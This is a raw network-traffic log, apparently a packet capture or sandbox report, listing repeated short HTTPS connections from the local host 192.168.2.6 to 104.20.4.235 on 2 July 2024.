Jul 2, 2024 16:32:18.897907019 CEST	54945	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.898116112 CEST	54945	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.898128986 CEST	443	54945	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:19.385003090 CEST	443	54945	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:19.387123108 CEST	54945	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:19.387152910 CEST	443	54945	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:19.531781912 CEST	443	54945	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:19.531868935 CEST	443	54945	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:19.531917095 CEST	54945	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:19.532892942 CEST	54945	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:19.534353018 CEST	54947	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:19.534404039 CEST	443	54947	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:19.534471989 CEST	54947	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:19.534743071 CEST	54947	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:19.534758091 CEST	443	54947	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.033294916 CEST	443	54947	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.034807920 CEST	54947	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.034822941 CEST	443	54947	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.178797007 CEST	443	54947	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.178881884 CEST	443	54947	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.178930998 CEST	54947	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.179404974 CEST	54947	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.180861950 CEST	54948	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.180907011 CEST	443	54948	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.180979967 CEST	54948	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.181408882 CEST	54948	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.181427956 CEST	443	54948	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.646507025 CEST	443	54948	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.648400068 CEST	54948	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.648441076 CEST	443	54948	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.778798103 CEST	443	54948	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.778887987 CEST	443	54948	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.779016972 CEST	54948	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.779623032 CEST	54948	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.780766010 CEST	54949	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.780807972 CEST	443	54949	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:20.780956030 CEST	54949	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.781263113 CEST	54949	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:20.781272888 CEST	443	54949	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.274235010 CEST	443	54949	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.277970076 CEST	54949	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.277987957 CEST	443	54949	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.441531897 CEST	443	54949	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.441639900 CEST	443	54949	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.441694021 CEST	54949	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.443413019 CEST	54949	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.447907925 CEST	54950	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.447942019 CEST	443	54950	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.448009014 CEST	54950	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.448339939 CEST	54950	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.448349953 CEST	443	54950	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.913758993 CEST	443	54950	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:21.915687084 CEST	54950	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:21.915709972 CEST	443	54950	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.060322046 CEST	443	54950	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.060410976 CEST	443	54950	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.060475111 CEST	54950	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.060975075 CEST	54950	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.062314987 CEST	54951	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.062366962 CEST	443	54951	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.062745094 CEST	54951	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.062745094 CEST	54951	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.062787056 CEST	443	54951	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.580084085 CEST	443	54951	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.584769964 CEST	54951	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.584794998 CEST	443	54951	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.728905916 CEST	443	54951	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.728986979 CEST	443	54951	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.729139090 CEST	54951	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.730662107 CEST	54951	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.730662107 CEST	54952	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.730701923 CEST	443	54952	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:22.730792999 CEST	54952	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.731141090 CEST	54952	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:22.731157064 CEST	443	54952	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.193286896 CEST	443	54952	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.194570065 CEST	54952	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.194601059 CEST	443	54952	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.344531059 CEST	443	54952	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.344616890 CEST	443	54952	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.344671965 CEST	54952	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.345438004 CEST	54952	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.347055912 CEST	54953	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.347095966 CEST	443	54953	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.347150087 CEST	54953	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.347450018 CEST	54953	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.347465992 CEST	443	54953	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.827542067 CEST	443	54953	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.829252005 CEST	54953	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.829279900 CEST	443	54953	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.984046936 CEST	443	54953	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.984144926 CEST	443	54953	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.984191895 CEST	54953	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.984888077 CEST	54953	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.986408949 CEST	54954	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.986443043 CEST	443	54954	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:23.986517906 CEST	54954	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.986780882 CEST	54954	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:23.986795902 CEST	443	54954	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:24.454679012 CEST	443	54954	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:24.458898067 CEST	54954	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:24.458925962 CEST	443	54954	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:24.612021923 CEST	443	54954	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:24.612109900 CEST	443	54954	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:24.615010977 CEST	54954	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:24.616188049 CEST	54954	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:24.616192102 CEST	54955	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:24.616257906 CEST	443	54955	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:24.620887041 CEST	54955	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:24.624772072 CEST	54955	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:24.624792099 CEST	443	54955	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.097886086 CEST	443	54955	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.101834059 CEST	54955	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.101859093 CEST	443	54955	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.249031067 CEST	443	54955	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.249113083 CEST	443	54955	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.253376007 CEST	54955	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.253376961 CEST	54955	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.256771088 CEST	54956	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.256813049 CEST	443	54956	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.260884047 CEST	54956	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.264766932 CEST	54956	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.264786005 CEST	443	54956	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.742142916 CEST	443	54956	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.743868113 CEST	54956	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.743890047 CEST	443	54956	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.892400980 CEST	443	54956	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.892486095 CEST	443	54956	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.892533064 CEST	54956	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.893172026 CEST	54956	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.894851923 CEST	54957	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.894901991 CEST	443	54957	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:25.894973040 CEST	54957	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.895283937 CEST	54957	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:25.895302057 CEST	443	54957	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:26.381782055 CEST	443	54957	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:26.386799097 CEST	54957	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:26.386840105 CEST	443	54957	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:26.523250103 CEST	443	54957	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:26.523356915 CEST	443	54957	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:26.523454905 CEST	54957	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:26.524276972 CEST	54957	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:26.526876926 CEST	54958	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:26.526911020 CEST	443	54958	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:26.531048059 CEST	54958	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:26.531403065 CEST	54958	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:26.531416893 CEST	443	54958	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.022494078 CEST	443	54958	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.027810097 CEST	54958	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.027851105 CEST	443	54958	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.176193953 CEST	443	54958	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.176291943 CEST	443	54958	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.176939964 CEST	54958	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.176939964 CEST	54958	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.178239107 CEST	54959	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.178286076 CEST	443	54959	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.178670883 CEST	54959	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.178670883 CEST	54959	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.178710938 CEST	443	54959	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.661596060 CEST	443	54959	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.663515091 CEST	54959	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.663532019 CEST	443	54959	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.832246065 CEST	443	54959	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.832328081 CEST	443	54959	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.832369089 CEST	54959	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.833025932 CEST	54959	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.834539890 CEST	54960	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.834578991 CEST	443	54960	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:27.834638119 CEST	54960	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.834908962 CEST	54960	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:27.834927082 CEST	443	54960	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.332056046 CEST	443	54960	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.336777925 CEST	54960	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.336797953 CEST	443	54960	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.489556074 CEST	443	54960	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.489641905 CEST	443	54960	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.489809036 CEST	54960	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.491317034 CEST	54961	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.491333961 CEST	54960	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.491352081 CEST	443	54961	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.491585970 CEST	54961	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.492423058 CEST	54961	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.492435932 CEST	443	54961	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.988318920 CEST	443	54961	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:28.993951082 CEST	54961	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:28.993972063 CEST	443	54961	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.145550013 CEST	443	54961	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.145638943 CEST	443	54961	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.146961927 CEST	54961	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.148730040 CEST	54961	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.148863077 CEST	54962	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.148895025 CEST	443	54962	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.149013042 CEST	54962	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.149270058 CEST	54962	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.149281979 CEST	443	54962	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.612442017 CEST	443	54962	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.614100933 CEST	54962	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.614124060 CEST	443	54962	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.766347885 CEST	443	54962	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.766433954 CEST	443	54962	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.766482115 CEST	54962	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.767347097 CEST	54962	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.866064072 CEST	54963	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.866118908 CEST	443	54963	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:29.866194963 CEST	54963	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.866595984 CEST	54963	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:29.866606951 CEST	443	54963	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.343017101 CEST	443	54963	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.345895052 CEST	54963	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.345917940 CEST	443	54963	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.488053083 CEST	443	54963	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.488156080 CEST	443	54963	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.488358974 CEST	54963	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.488909006 CEST	54963	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.492770910 CEST	54964	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.492818117 CEST	443	54964	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.493232012 CEST	54964	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.493639946 CEST	54964	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.493659973 CEST	443	54964	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.964008093 CEST	443	54964	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:30.965847969 CEST	54964	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:30.965878963 CEST	443	54964	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.130863905 CEST	443	54964	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.130973101 CEST	443	54964	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.131105900 CEST	54964	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.132662058 CEST	54964	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.132682085 CEST	54965	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.132730007 CEST	443	54965	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.132858038 CEST	54965	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.133299112 CEST	54965	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.133316994 CEST	443	54965	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.640084982 CEST	443	54965	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.641693115 CEST	54965	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.641705990 CEST	443	54965	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.784872055 CEST	443	54965	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.784980059 CEST	443	54965	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.785028934 CEST	54965	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.785732031 CEST	54965	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.787082911 CEST	54966	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.787122011 CEST	443	54966	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:31.787197113 CEST	54966	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.787512064 CEST	54966	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:31.787533998 CEST	443	54966	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.274454117 CEST	443	54966	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.275919914 CEST	54966	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.275943041 CEST	443	54966	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.403942108 CEST	443	54966	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.404032946 CEST	443	54966	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.407013893 CEST	54966	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.408613920 CEST	54967	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.408617973 CEST	54966	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.408638954 CEST	443	54967	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.412900925 CEST	54967	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.415806055 CEST	54967	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.415819883 CEST	443	54967	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.910938025 CEST	443	54967	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:32.916027069 CEST	54967	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:32.916043997 CEST	443	54967	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.073400974 CEST	443	54967	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.073508024 CEST	443	54967	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.076885939 CEST	54967	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.078274012 CEST	54967	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.078274012 CEST	54968	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.078316927 CEST	443	54968	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.078887939 CEST	54968	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.082783937 CEST	54968	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.082803011 CEST	443	54968	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.560385942 CEST	443	54968	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.561986923 CEST	54968	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.562007904 CEST	443	54968	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.707783937 CEST	443	54968	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.707891941 CEST	443	54968	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.707937002 CEST	54968	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.708663940 CEST	54968	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.709937096 CEST	54969	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.709983110 CEST	443	54969	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:33.710046053 CEST	54969	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.710334063 CEST	54969	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:33.710345030 CEST	443	54969	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.204492092 CEST	443	54969	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.206124067 CEST	54969	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.206142902 CEST	443	54969	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.344111919 CEST	443	54969	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.344216108 CEST	443	54969	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.344263077 CEST	54969	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.344974995 CEST	54969	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.346244097 CEST	54970	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.346283913 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.346345901 CEST	54970	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.346802950 CEST	54970	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.346812010 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.816596985 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.820137024 CEST	54970	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.820147991 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.948064089 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.948168993 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.952502012 CEST	443	54970	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.952667952 CEST	54970	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.953332901 CEST	54970	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.955796957 CEST	54971	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.955823898 CEST	443	54971	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:34.959019899 CEST	54971	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.961272001 CEST	54971	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:34.961288929 CEST	443	54971	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:35.453109026 CEST	443	54971	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:35.454771042 CEST	54971	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:35.454799891 CEST	443	54971	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:35.598629951 CEST	443	54971	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:35.598742008 CEST	443	54971	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:35.598793030 CEST	54971	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:35.599411964 CEST	54971	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:35.600868940 CEST	54972	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:35.600908995 CEST	443	54972	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:35.600970030 CEST	54972	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:35.601269007 CEST	54972	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:35.601286888 CEST	443	54972	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.094743967 CEST	443	54972	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.096316099 CEST	54972	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.096343994 CEST	443	54972	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.255101919 CEST	443	54972	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.255222082 CEST	443	54972	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.255279064 CEST	54972	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.255925894 CEST	54972	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.257335901 CEST	54973	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.257385015 CEST	443	54973	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.257525921 CEST	54973	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.257698059 CEST	54973	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.257716894 CEST	443	54973	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.738754034 CEST	443	54973	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.740062952 CEST	54973	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:36.740093946 CEST	443	54973	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.924000978 CEST	443	54973	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:36.924114943 CEST	443	54973	104.20.4.235	192.168.2.6
